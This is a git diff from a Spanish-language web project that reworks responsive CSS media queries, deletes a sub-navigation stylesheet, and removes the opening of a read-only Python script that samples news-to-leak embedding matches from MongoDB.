@media screen and (max-width: 576px) and (orientation: portrait) {
|
||||||
.background a {
|
.background a {
|
||||||
width: 50%;
|
width: 95%;
|
||||||
height: 28vw;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.button-overlay {
|
.button-column {
|
||||||
grid-template-columns: 1fr 1fr;
|
width: 95%;
|
||||||
gap: 8px;
|
gap: 30px;
|
||||||
padding: 10px 8px 56px;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.overlay-button {
|
.overlay-button {
|
||||||
font-size: 0.68rem;
|
font-size: 0.3rem;
|
||||||
padding: 7px 10px;
|
padding: 5px 7px;
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ≤ 420px portrait */
|
.title {
|
||||||
@media screen and (max-width: 420px) and (orientation: portrait) {
|
font-size: 4rem;
|
||||||
.title { font-size: 1.8rem; }
|
}
|
||||||
|
|
||||||
.header-content { flex-direction: column; align-items: flex-start; gap: 6px; }
|
|
||||||
|
|
||||||
.small-button {
|
.small-button {
|
||||||
font-size: 0.6rem;
|
font-size: 0.3rem;
|
||||||
padding: 4px 7px;
|
padding: 4px 7px;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.nav-links {
|
||||||
|
gap: 1.5em;
|
||||||
|
}
|
||||||
|
|
||||||
.nav-links a {
|
.nav-links a {
|
||||||
font-size: 0.62rem;
|
font-size: 0.4rem;
|
||||||
padding: 6px 10px;
|
padding: 7px 14px;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Para teléfonos de 411px de ancho en portrait */
|
||||||
|
@media screen and (max-width: 411px) and (orientation: portrait) {
|
||||||
.background a {
|
.background a {
|
||||||
width: 50%;
|
width: 100%;
|
||||||
height: 26vw;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.button-overlay {
|
.button-column {
|
||||||
grid-template-columns: 1fr 1fr;
|
width: 100%;
|
||||||
gap: 6px;
|
gap: 5px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.overlay-button {
|
.overlay-button {
|
||||||
font-size: 0.62rem;
|
font-size: 0.4rem;
|
||||||
padding: 6px 8px;
|
padding: 4px 5px;
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ============================================================
|
.title {
|
||||||
MÓVIL — Landscape (altura ≤ 500px)
|
font-size: 1.5rem;
|
||||||
============================================================ */
|
}
|
||||||
|
|
||||||
@media screen and (max-width: 900px) and (orientation: landscape) and (max-height: 500px) {
|
|
||||||
header { padding: 6px 10px; }
|
|
||||||
.title { font-size: 1.6rem; }
|
|
||||||
|
|
||||||
.small-button {
|
.small-button {
|
||||||
font-size: 0.65rem;
|
font-size: 0.3rem;
|
||||||
|
padding: 4px 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links {
|
||||||
|
gap: 1em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.6rem;
|
||||||
|
padding: 6px 12px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Para teléfonos de 375px de ancho en portrait */
|
||||||
|
@media screen and (max-width: 375px) and (orientation: portrait) {
|
||||||
|
.background a {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 100%;
|
||||||
|
gap: 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 3px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 1.3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 3px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links {
|
||||||
|
gap: 0.75em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.5rem;
|
||||||
|
padding: 5px 10px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Para teléfonos de 320px de ancho en portrait */
|
||||||
|
@media screen and (max-width: 320px) and (orientation: portrait) {
|
||||||
|
.background a {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 100%;
|
||||||
|
gap: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.3rem;
|
||||||
|
padding: 2px 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 1.2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.3rem;
|
||||||
|
padding: 2px 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links {
|
||||||
|
gap: 0.5em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.4rem;
|
||||||
padding: 4px 8px;
|
padding: 4px 8px;
|
||||||
}
|
}
|
||||||
|
|
||||||
nav { margin-top: 4px; padding: 4px 8px; overflow-x: auto; justify-content: flex-start; }
|
|
||||||
.nav-links { flex-wrap: nowrap; gap: 6px; }
|
|
||||||
.nav-links a {
|
|
||||||
width: auto; height: auto;
|
|
||||||
font-size: 0.65rem;
|
|
||||||
padding: 6px 10px;
|
|
||||||
border-radius: 16px;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.background { height: 100vh; flex-wrap: nowrap; overflow-x: auto; }
|
|
||||||
.background a { width: 20%; height: 100%; flex-shrink: 0; }
|
/* For devices with smaller screens (e.g., 600px - 800px width) */
|
||||||
|
@media screen and (min-width: 600px) and (max-width: 800px) and (max-height: 400px) and (orientation: landscape) {
|
||||||
|
.background {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
height: 100vh;
|
||||||
|
width: 100%;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
.button-overlay {
|
.button-overlay {
|
||||||
display: flex;
|
display: flex;
|
||||||
justify-content: space-around;
|
justify-content: space-around;
|
||||||
align-items: center;
|
align-items: flex-end;
|
||||||
top: 60px;
|
height: 100%;
|
||||||
height: calc(100% - 60px);
|
padding-bottom: 0px;
|
||||||
}
|
}
|
||||||
.button-column { width: 18%; gap: 4px; }
|
|
||||||
|
.button-column {
|
||||||
|
width: 15%;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
justify-content: flex-end;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
.overlay-button {
|
.overlay-button {
|
||||||
font-size: 0.6rem;
|
font-size: 0.3rem;
|
||||||
padding: 5px 8px;
|
padding: 2px 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.3rem;
|
||||||
|
padding: 2px 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.3rem; /* Reduced font size */
|
||||||
|
padding: 15px 30px; /* Adjusted padding */
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* landscape muy pequeño (≤ 600px ancho) */
|
/* For medium-sized devices (e.g., 800px - 1000px width) */
|
||||||
@media screen and (max-width: 600px) and (orientation: landscape) and (max-height: 400px) {
|
@media screen and (min-width: 800px) and (max-width: 1000px) and (max-height: 450px) and (orientation: landscape) {
|
||||||
.title { font-size: 1.2rem; }
|
.background {
|
||||||
.small-button { font-size: 0.6rem; padding: 3px 6px; }
|
display: flex;
|
||||||
.nav-links a { font-size: 0.6rem; padding: 5px 8px; }
|
justify-content: center;
|
||||||
.button-column { width: 28%; }
|
height: 100vh;
|
||||||
.overlay-button { font-size: 0.58rem; padding: 4px 6px; }
|
width: 100%;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-overlay {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-around;
|
||||||
|
align-items: flex-end;
|
||||||
|
height: 100%;
|
||||||
|
padding-bottom: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 16%;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
justify-content: flex-end;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 3px 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 3px 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.3rem; /* Reduced font size */
|
||||||
|
padding: 15px 30px; /* Adjusted padding */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* For larger devices (e.g., 1000px - 1200px width) */
|
||||||
|
@media screen and (min-width: 1000px) and (max-width: 1200px) and (max-height: 500px) and (orientation: landscape) {
|
||||||
|
.background {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
height: 100vh;
|
||||||
|
width: 100%;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-overlay {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-around;
|
||||||
|
align-items: flex-end;
|
||||||
|
height: 100%;
|
||||||
|
padding-bottom: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 17%;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
justify-content: flex-end;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.4rem;
|
||||||
|
padding: 3px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 3px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.3rem; /* Reduced font size */
|
||||||
|
padding: 15px 30px; /* Adjusted padding */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* For even larger devices (e.g., 1200px - 1500px width) */
|
||||||
|
@media screen and (min-width: 1200px) and (max-width: 1500px) and (max-height: 700px) and (orientation: landscape) {
|
||||||
|
.background {
|
||||||
|
display: flex;
|
||||||
|
justify-content: center;
|
||||||
|
height: 100vh;
|
||||||
|
width: 100%;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-overlay {
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-around;
|
||||||
|
align-items: flex-end;
|
||||||
|
height: 100%;
|
||||||
|
padding-bottom: 0px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 18%;
|
||||||
|
display: flex;
|
||||||
|
flex-direction: column;
|
||||||
|
justify-content: flex-end;
|
||||||
|
height: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.45rem;
|
||||||
|
padding: 4px 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 4px 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.3rem; /* Reduced font size */
|
||||||
|
padding: 15px 30px; /* Adjusted padding */
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@media screen and (max-width: 800px) and (orientation: landscape) {
|
||||||
|
.background a {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 20%;
|
||||||
|
gap: 5px;
|
||||||
|
margin-top: 40px; /* Push buttons down to avoid navbar */
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 2px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 1.4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 2px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.35rem;
|
||||||
|
padding: 2px 4px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* For devices with width around 700px */
|
||||||
|
@media screen and (max-width: 700px) and (orientation: landscape) {
|
||||||
|
.background a {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 25%;
|
||||||
|
gap: 5px;
|
||||||
|
margin-top: 50px; /* Further adjustment */
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.3rem;
|
||||||
|
padding: 2px 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 1.3rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.3rem;
|
||||||
|
padding: 2px 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.3rem;
|
||||||
|
padding: 2px 3px;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* For smaller devices with width around 600px */
|
||||||
|
@media screen and (max-width: 600px) and (orientation: landscape) {
|
||||||
|
.background a {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 30%;
|
||||||
|
gap: 5px;
|
||||||
|
margin-top: 60px; /* Ensures the buttons are well below the navbar */
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.4rem;
|
||||||
|
padding: 3px 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 1.2rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.5rem;
|
||||||
|
padding: 3px 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.5rem;
|
||||||
|
padding: 3px 5px;
|
||||||
|
z-index: 2;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Landscape mode for screens up to 480px wide */
|
||||||
|
@media screen and (max-width: 480px) and (orientation: landscape) {
|
||||||
|
.button-overlay {
|
||||||
|
position: absolute;
|
||||||
|
bottom: 0;
|
||||||
|
left: 0;
|
||||||
|
width: 100%;
|
||||||
|
display: flex;
|
||||||
|
justify-content: space-around;
|
||||||
|
align-items: flex-end;
|
||||||
|
padding-bottom: 5px;
|
||||||
|
z-index: 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
.button-column {
|
||||||
|
width: 28%;
|
||||||
|
gap: 2px;
|
||||||
|
margin-top:150px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.overlay-button {
|
||||||
|
font-size: 0.45rem;
|
||||||
|
padding: 3px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.title {
|
||||||
|
font-size: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.small-button {
|
||||||
|
font-size: 0.45rem;
|
||||||
|
padding: 3px 4px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.nav-links a {
|
||||||
|
font-size: 0.45rem;
|
||||||
|
padding: 3px 4px;
|
||||||
|
z-index: 2;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
||||||
|
|
@ -1,295 +0,0 @@
|
||||||
/* ============================================================
|
|
||||||
SUB-NAV — Barra de navegación compacta, estética = home
|
|
||||||
============================================================ */
|
|
||||||
|
|
||||||
/* ── Contenedor fijo ─────────────────────────────────────── */
|
|
||||||
.top-nav {
|
|
||||||
position: fixed;
|
|
||||||
top: 0;
|
|
||||||
left: 0;
|
|
||||||
width: 100%;
|
|
||||||
transform: translateZ(0); /* capa GPU propia — sobre el canvas WebGL */
|
|
||||||
z-index: 9999;
|
|
||||||
background: rgba(0, 0, 0, 0.92);
|
|
||||||
padding: 8px 0;
|
|
||||||
border-bottom: 1px solid rgba(255, 255, 255, 0.1);
|
|
||||||
box-sizing: border-box;
|
|
||||||
}
|
|
||||||
|
|
||||||
nav.top-nav {
|
|
||||||
display: block !important;
|
|
||||||
margin-top: 0 !important;
|
|
||||||
margin-bottom: 0 !important;
|
|
||||||
justify-content: unset;
|
|
||||||
box-shadow: none !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Fila centrada ───────────────────────────────────────── */
|
|
||||||
.section-buttons {
|
|
||||||
display: flex;
|
|
||||||
justify-content: center;
|
|
||||||
align-items: center;
|
|
||||||
gap: 18px;
|
|
||||||
width: 100%;
|
|
||||||
padding: 0 12px;
|
|
||||||
box-sizing: border-box;
|
|
||||||
/* Sin overflow en desktop → dropdown no queda recortado en Y */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Wrapper ─────────────────────────────────────────────── */
|
|
||||||
.section-item {
|
|
||||||
position: relative;
|
|
||||||
flex-shrink: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Botón — texto NEGRO sobre fondo de sección ──────────── */
|
|
||||||
.section-btn {
|
|
||||||
display: inline-flex;
|
|
||||||
align-items: center;
|
|
||||||
justify-content: center;
|
|
||||||
gap: 5px;
|
|
||||||
/* Desktop grande — mismo "peso visual" que el home */
|
|
||||||
padding: 14px 34px;
|
|
||||||
font-size: 1.05em;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-weight: bold;
|
|
||||||
text-decoration: none;
|
|
||||||
color: #000000; /* letra negra — legible sobre cualquier fondo */
|
|
||||||
border: 3px solid black; /* reborde negro siempre */
|
|
||||||
position: relative;
|
|
||||||
z-index: 1;
|
|
||||||
transition: color 0.35s ease-in, transform 0.3s ease, box-shadow 0.3s ease;
|
|
||||||
white-space: nowrap;
|
|
||||||
cursor: pointer;
|
|
||||||
/* mismo text-shadow del home para profundidad */
|
|
||||||
text-shadow: 1px 1px 3px rgba(0,0,0,0.4);
|
|
||||||
}
|
|
||||||
|
|
||||||
.section-btn:hover {
|
|
||||||
transform: scale(1.06);
|
|
||||||
border: 3px solid black;
|
|
||||||
box-shadow: 0 0 8px rgba(0, 0, 0, 0.6);
|
|
||||||
}
|
|
||||||
|
|
||||||
.dropdown-arrow {
|
|
||||||
font-size: 0.75em;
|
|
||||||
line-height: 1;
|
|
||||||
transition: transform 0.2s;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Fondos por sección — exactos al home ────────────────── */
|
|
||||||
/* Solo background y border-color; el texto queda en #000000 */
|
|
||||||
.glob-war-btn { background-color: red; }
|
|
||||||
.int-sec-btn { background-color: darkblue; color: #aad4ff; } /* azul oscuro → letra clara */
|
|
||||||
.climate-btn { background-color: lightgreen; }
|
|
||||||
.eco-corp-btn { background-color: yellow; }
|
|
||||||
.popl-up-btn { background-color: orange; }
|
|
||||||
|
|
||||||
/* ── Hover — colores neón iguales al home ────────────────── */
|
|
||||||
.glob-war-btn:hover { color: #39ff14; }
|
|
||||||
.int-sec-btn:hover { color: #ff69b4; }
|
|
||||||
.climate-btn:hover { color: #ff4500; }
|
|
||||||
.eco-corp-btn:hover { color: #00fff2; }
|
|
||||||
.popl-up-btn:hover { color: #0066ff; }
|
|
||||||
|
|
||||||
/* ── Botón activo: borde brillante ──────────────────────── */
|
|
||||||
.section-item.current .section-btn {
|
|
||||||
box-shadow: 0 0 12px 3px rgba(0,0,0,0.5), 0 0 0 2px rgba(255,255,255,0.4);
|
|
||||||
}
|
|
||||||
.section-item.current:hover .dropdown-arrow,
|
|
||||||
.section-item.current.open .dropdown-arrow {
|
|
||||||
transform: rotate(180deg);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Dropdown ────────────────────────────────────────────── */
|
|
||||||
.section-dropdown {
|
|
||||||
display: none;
|
|
||||||
position: absolute;
|
|
||||||
top: calc(100% + 8px);
|
|
||||||
left: 50%;
|
|
||||||
transform: translateX(-50%) translateZ(0);
|
|
||||||
min-width: 200px;
|
|
||||||
background: rgba(4, 4, 4, 0.98);
|
|
||||||
border: 1px solid rgba(255, 255, 255, 0.15);
|
|
||||||
border-radius: 6px;
|
|
||||||
padding: 6px 0;
|
|
||||||
z-index: 99999;
|
|
||||||
box-shadow: 0 10px 32px rgba(0, 0, 0, 0.85);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Puente para no perder hover al moverse al dropdown */
|
|
||||||
.section-item.current::after {
|
|
||||||
content: '';
|
|
||||||
position: absolute;
|
|
||||||
top: 100%;
|
|
||||||
left: -10px;
|
|
||||||
right: -10px;
|
|
||||||
height: 14px;
|
|
||||||
z-index: 99998;
|
|
||||||
}
|
|
||||||
|
|
||||||
.section-item.current:hover .section-dropdown,
|
|
||||||
.section-item.current.open .section-dropdown {
|
|
||||||
display: block;
|
|
||||||
animation: dropFade 0.14s ease;
|
|
||||||
}
|
|
||||||
|
|
||||||
@keyframes dropFade {
|
|
||||||
from { opacity: 0; transform: translateX(-50%) translateY(-5px); }
|
|
||||||
to { opacity: 1; transform: translateX(-50%) translateY(0); }
|
|
||||||
}
|
|
||||||
|
|
||||||
.section-dropdown a {
|
|
||||||
display: block;
|
|
||||||
padding: 8px 18px;
|
|
||||||
font-size: 0.75em;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
color: #ccc;
|
|
||||||
text-decoration: none;
|
|
||||||
text-shadow: none;
|
|
||||||
transition: background 0.15s, color 0.15s;
|
|
||||||
white-space: nowrap;
|
|
||||||
}
|
|
||||||
.section-dropdown a:hover {
|
|
||||||
background: rgba(255, 255, 255, 0.1);
|
|
||||||
color: #fff;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ================================================================
|
|
||||||
MÓVIL — Panel de detalle en la MITAD INFERIOR (≤ 768px)
|
|
||||||
Sustituye el "display:none" del graphPanel por layout vertical
|
|
||||||
================================================================ */
|
|
||||||
@media (max-width: 768px) {
|
|
||||||
/* Columna vertical: grafo arriba, detalle abajo */
|
|
||||||
main.split-screen.show-detail {
|
|
||||||
flex-direction: column !important;
|
|
||||||
height: 100vh !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Grafo ocupa la mitad superior — NO se oculta */
|
|
||||||
main.split-screen.show-detail #graphPanel {
|
|
||||||
display: block !important;
|
|
||||||
flex: none !important;
|
|
||||||
width: 100% !important;
|
|
||||||
height: 50vh !important;
|
|
||||||
min-height: 0 !important;
|
|
||||||
overflow: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Panel de detalle ocupa la mitad inferior */
|
|
||||||
main.split-screen.show-detail #detailPanel {
|
|
||||||
width: 100% !important;
|
|
||||||
max-width: 100% !important;
|
|
||||||
flex: none !important;
|
|
||||||
height: 50vh !important;
|
|
||||||
overflow-y: auto;
|
|
||||||
border-top: 2px solid rgba(57, 255, 20, 0.4);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* El contenido del panel se muestra siempre cuando está abierto */
|
|
||||||
main.split-screen.show-detail #detailContent {
|
|
||||||
display: flex !important;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Detail image — larger display ──────────────────────── */
|
|
||||||
.detail-img {
|
|
||||||
width: 100%;
|
|
||||||
max-height: 28vh;
|
|
||||||
object-fit: contain;
|
|
||||||
display: block;
|
|
||||||
margin-bottom: 10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Ver conexiones button ───────────────────────────────── */
|
|
||||||
#verConexionesBtn {
|
|
||||||
display: block;
|
|
||||||
width: 100%;
|
|
||||||
margin-top: 14px;
|
|
||||||
padding: 10px 0;
|
|
||||||
background: rgba(255,255,255,0.08);
|
|
||||||
border: 1px solid rgba(255,255,255,0.25);
|
|
||||||
border-radius: 5px;
|
|
||||||
color: #aaffaa;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 0.82em;
|
|
||||||
cursor: pointer;
|
|
||||||
transition: background 0.2s, color 0.2s;
|
|
||||||
}
|
|
||||||
#verConexionesBtn:hover {
|
|
||||||
background: rgba(255,255,255,0.18);
|
|
||||||
color: #fff;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Volver al grafo completo — floating overlay ─────────── */
|
|
||||||
#volverGrafoBtn {
|
|
||||||
display: none;
|
|
||||||
position: absolute;
|
|
||||||
top: 10px;
|
|
||||||
left: 50%;
|
|
||||||
transform: translateX(-50%);
|
|
||||||
z-index: 9990;
|
|
||||||
padding: 7px 20px;
|
|
||||||
background: rgba(0,0,0,0.82);
|
|
||||||
border: 1px solid rgba(255,255,255,0.3);
|
|
||||||
border-radius: 5px;
|
|
||||||
color: #fff;
|
|
||||||
font-family: 'Fira Code', monospace;
|
|
||||||
font-size: 0.82em;
|
|
||||||
cursor: pointer;
|
|
||||||
white-space: nowrap;
|
|
||||||
}
|
|
||||||
#volverGrafoBtn.visible { display: block; }
|
|
||||||
|
|
||||||
/* ── Móvil — nav más pequeño ≤ 800px ────────────────────── */
|
|
||||||
@media (max-width: 800px) {
|
|
||||||
.section-buttons {
|
|
||||||
justify-content: flex-start;
|
|
||||||
overflow-x: auto;
|
|
||||||
overflow-y: visible;
|
|
||||||
scrollbar-width: none;
|
|
||||||
-ms-overflow-style: none;
|
|
||||||
gap: 8px;
|
|
||||||
}
|
|
||||||
.section-buttons::-webkit-scrollbar { display: none; }
|
|
||||||
|
|
||||||
.section-btn {
|
|
||||||
padding: 7px 14px;
|
|
||||||
font-size: 0.72em;
|
|
||||||
border-width: 2px;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* En móvil con overflow-x el dropdown escapa al contenedor → fixed */
|
|
||||||
.section-dropdown {
|
|
||||||
position: fixed !important;
|
|
||||||
left: 50% !important;
|
|
||||||
top: 52px !important;
|
|
||||||
transform: translateX(-50%) translateZ(0) !important;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (max-width: 480px) {
|
|
||||||
.section-btn {
|
|
||||||
padding: 6px 10px;
|
|
||||||
font-size: 0.65em;
|
|
||||||
}
|
|
||||||
.section-dropdown { min-width: 160px; }
|
|
||||||
.section-dropdown a { font-size: 0.7em; padding: 7px 14px; }
|
|
||||||
}
|
|
||||||
|
|
||||||
/* ── Filtro temporal Semanal/Todas (semana-toggle.js) ── */
|
|
||||||
.rango-btns {
|
|
||||||
position: absolute; right: 16px; top: 50%; transform: translateY(-50%);
|
|
||||||
display: flex; gap: 8px; z-index: 10000;
|
|
||||||
}
|
|
||||||
.rango-btn {
|
|
||||||
font-family: 'Fira Code', monospace; font-size: .82em; cursor: pointer;
|
|
||||||
padding: 7px 15px; border-radius: 6px;
|
|
||||||
border: 2px solid rgba(255,255,255,.35);
|
|
||||||
background: rgba(0,0,0,.5); color: #eee; transition: all .15s;
|
|
||||||
}
|
|
||||||
.rango-btn:hover { border-color: #fff; }
|
|
||||||
.rango-btn.active { background: #ececec; color: #111; border-color: #fff; font-weight: 700; }
|
|
||||||
@media (max-width: 760px) {
|
|
||||||
.rango-btns { position: static; transform: none; justify-content: center; margin-top: 6px; width: 100%; }
|
|
||||||
}
|
|
||||||
|
|
@ -1 +0,0 @@
|
||||||
/var/www/theflows.net/flujos/FLUJOS_DATOS/IMAGENES/output/wiki_images
|
|
||||||
|
|
@ -1,66 +0,0 @@
|
||||||
#!/usr/bin/env python3
|
|
||||||
"""Muestrea pares noticia↔leak en bandas de coseno y vuelca su texto a JSON,
|
|
||||||
para evaluar la calidad del matching y calibrar el umbral. Solo lectura."""
|
|
||||||
import json, os, sys
|
|
||||||
import numpy as np
|
|
||||||
from pymongo import MongoClient
|
|
||||||
|
|
||||||
db = MongoClient("mongodb://localhost:27017", serverSelectionTimeoutMS=4000)["FLUJOS_DATOS"]
|
|
||||||
|
|
||||||
# --- noticias con embedding (query) ---
|
|
||||||
news = list(db.noticias.find(
|
|
||||||
{"embedding": {"$exists": True}, "apto_embedding": {"$ne": False}},
|
|
||||||
{"archivo": 1, "embedding": 1, "titulo_original": 1, "texto": 1, "fecha": 1}))
|
|
||||||
# muestra de noticias para no cargar las 21k (determinista: primeras 3000)
|
|
||||||
news = news[:3000]
|
|
||||||
Qarch = [n["archivo"] for n in news]
|
|
||||||
Q = np.asarray([n["embedding"] for n in news], dtype=np.float32)
|
|
||||||
Q /= np.clip(np.linalg.norm(Q, axis=1, keepdims=True), 1e-9, None)
|
|
||||||
|
|
||||||
# --- chunks de leaks (corpus) ---
|
|
||||||
ch = list(db.embeddings_chunks.find({"coleccion": "torrents"}, {"archivo": 1, "embedding": 1}))
|
|
||||||
C = np.asarray([c["embedding"] for c in ch], dtype=np.float32)
|
|
||||||
C /= np.clip(np.linalg.norm(C, axis=1, keepdims=True), 1e-9, None)
|
|
||||||
leak_of = [c["archivo"] for c in ch]
|
|
||||||
uniq, idx = {}, np.empty(len(ch), dtype=np.int64)
|
|
||||||
names = []
|
|
||||||
for i, a in enumerate(leak_of):
|
|
||||||
j = uniq.setdefault(a, len(names))
|
|
||||||
if j == len(names): names.append(a)
|
|
||||||
idx[i] = j
|
|
||||||
nL = len(names)
|
|
||||||
print(f"news={len(Q)} corpus_chunks={len(C)} leaks={nL}", file=sys.stderr)
|
|
||||||
|
|
||||||
